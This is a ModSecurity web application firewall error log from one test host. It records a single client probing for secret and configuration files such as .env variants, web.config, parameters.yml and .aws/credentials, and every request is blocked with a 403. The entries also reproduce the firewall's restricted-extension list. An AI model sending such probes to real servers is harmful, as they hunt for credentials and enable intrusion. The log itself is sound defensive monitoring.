[Sat Nov 01 05:06:39.835201 2025] [:error] [pid 3922232] [client 130.131.162.253:36398] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aQWHT0uA_OeHr14qf4ewbAAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat Nov 01 05:06:39.835443 2025] [:error] [pid 3922232] [client 130.131.162.253:36398] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aQWHT0uA_OeHr14qf4ewbAAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat Nov 01 05:06:39.835609 2025] [:error] [pid 3922232] [client 130.131.162.253:36398] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aQWHT0uA_OeHr14qf4ewbAAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/composer.json
[Sat Nov 01 05:06:39.836667 2025] [:error] [pid 3922231] [client 130.131.162.253:36384] [client 130.131.162.253] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQWHTzlbRJLy6h9FqU8XOwAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat Nov 01 05:06:39.836861 2025] [:error] [pid 3922231] [client 130.131.162.253:36384] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQWHTzlbRJLy6h9FqU8XOwAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat Nov 01 05:06:39.837069 2025] [:error] [pid 3922231] [client 130.131.162.253:36384] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQWHTzlbRJLy6h9FqU8XOwAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat Nov 01 05:06:39.837213 2025] [:error] [pid 3922231] [client 130.131.162.253:36384] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQWHTzlbRJLy6h9FqU8XOwAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env.bak
[Sat Nov 01 05:06:39.957173 2025] [:error] [pid 3922230] [client 130.131.162.253:36418] [client 130.131.162.253] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aQWHT4KXGH1fLUOqf07qJQAAAAA&quot;], referer: http://pms.test.indacotrentino.com/web.config
[Sat Nov 01 05:06:39.957397 2025] [:error] [pid 3922230] [client 130.131.162.253:36418] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/Web.config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /Web.config found within REQUEST_FILENAME: /web.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aQWHT4KXGH1fLUOqf07qJQAAAAA&quot;], referer: http://pms.test.indacotrentino.com/web.config
[Sat Nov 01 05:06:39.957697 2025] [:error] [pid 3922230] [client 130.131.162.253:36418] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aQWHT4KXGH1fLUOqf07qJQAAAAA&quot;], referer: http://pms.test.indacotrentino.com/web.config
[Sat Nov 01 05:06:39.957916 2025] [:error] [pid 3922230] [client 130.131.162.253:36418] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;aQWHT4KXGH1fLUOqf07qJQAAAAA&quot;], referer: http://pms.test.indacotrentino.com/web.config
[Sat Nov 01 05:36:27.152783 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEiAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat Nov 01 05:36:27.153156 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEiAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat Nov 01 05:36:27.153387 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEiAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat Nov 01 05:36:27.269903 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-config.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-config.js&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEiQAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env-config.js
[Sat Nov 01 05:36:27.270210 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-config.js&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEiQAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env-config.js
[Sat Nov 01 05:36:27.271212 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-config.js&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEiQAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env-config.js
[Sat Nov 01 05:36:27.395255 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEigAAAAI&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat Nov 01 05:36:27.395548 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEigAAAAI&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat Nov 01 05:36:27.395753 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/parameters.yml&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEigAAAAI&quot;], referer: http://pms.test.indacotrentino.com/config/parameters.yml
[Sat Nov 01 05:36:27.658517 2025] [:error] [pid 3922690] [client 130.131.162.253:33634] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aQWOS__3lbuXlxdHFSS98AAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.env.js
[Sat Nov 01 05:36:27.658830 2025] [:error] [pid 3922690] [client 130.131.162.253:33634] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aQWOS__3lbuXlxdHFSS98AAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.env.js
[Sat Nov 01 05:36:27.659019 2025] [:error] [pid 3922690] [client 130.131.162.253:33634] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aQWOS__3lbuXlxdHFSS98AAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.env.js
[Sat Nov 01 05:36:27.968341 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEjQAAAAI&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat Nov 01 05:36:27.968590 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEjQAAAAI&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat Nov 01 05:36:27.968777 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aQWOS_Rb_33NrC84WVbEjQAAAAI&quot;], referer: http://pms.test.indacotrentino.com/app/config/parameters.yml
[Sat Nov 01 05:36:28.157554 2025] [:error] [pid 3922690] [client 130.131.162.253:33634] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aQWOTP_3lbuXlxdHFSS98gAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
[Sat Nov 01 05:36:28.157557 2025] [:error] [pid 3922689] [client 130.131.162.253:33622] [client 130.131.162.253] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-config.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-config.js&quot;] [unique_id &quot;aQWOTPRb_33NrC84WVbEjgAAAAI&quot;], referer: http://pms.test.indacotrentino.com/.env-config.js
[Sat Nov 01 05:36:28.157825 2025] [:error] [pid 3922690] [client 130.131.162.253:33634] [client 130.131.162.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aQWOTP_3lbuXlxdHFSS98gAAAAc&quot;], referer: http://pms.test.indacotrentino.com/.aws/credentials
